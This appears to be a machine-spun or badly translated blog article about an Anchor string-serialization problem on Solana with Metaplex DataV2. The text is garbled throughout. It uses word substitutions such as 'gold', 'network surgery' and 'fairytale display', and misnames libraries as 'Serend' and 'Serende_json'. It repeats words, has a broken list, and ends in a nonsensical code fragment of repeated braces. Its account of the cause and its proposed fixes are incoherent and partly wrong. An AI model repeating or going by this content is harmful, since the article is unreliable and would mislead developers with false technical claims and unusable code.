Solana: Anchor Serialize Edition – String Serialized to Huge Length with Metaplex Dataav2
As a decentralized application for Solana developers, it is not uncommon to encounter problems with serialization and deduction. One such question that has made many developers a problem is the problem of « Serialize » Sidre, where the type of « series » is serialized to an extremely high length.
In this article, we will dive into details about DET and explore possible solutions.
What happens:
When you try to serialize the string in the solana using " gold ".to_string () method, the resulting string is huge. This can cause problems when used as input arguments for characters of anchor network surgery.
For example, if you are trying to create a new contract with a series of input Type"String", using a serialized string of "gold" .to_string ()will result in a contract that is too great to fit on Blockchain. This can lead to errors and concerns when starting tests or interaction with the network.
Problem:
The question arises from the way the wires are presented in Solan’s data storage. The type of string is encoded into the binary format, resulting in a serialized length of fixed size. However, this does not take into account the cutting costs and the transmission of the series itself.
When you try to serialize a string using gold" .To_string ()Method, Solan’s data storage system turns a string into its fairytale display (eg UTF-8) and then codes in binary format. This procedure adds significant directing costs to the serialized length.
Solution:
To solve this problem, you can use one of the following approaches:
- Use a library that supports the lengths of the length of the variable length:
Libraries such as
Serend 'or' Serende_jsonin quiet support by encoding variables of lengths using their serialization formats (eg keys). You can use library library library library and then decode them with a suitable API.
- Use an external storage solution: Consider using a distributed storage system such as Filecoin or IPFS, which allows you to store arbitrary quantities or data without worrying about the overhead overhead costs.
3 Third) library parties.
Example Code:
To illustrate this solution, assume that we have a simple contract that requires an entry string:
`Vacation
Use the Solana_ Program :: {{{{{{{{{{{{{{{{{{{{{{{
Account_info :: {Next_account_info, account information},
Entrypoint :: Programmes,

// Serialize input arguments
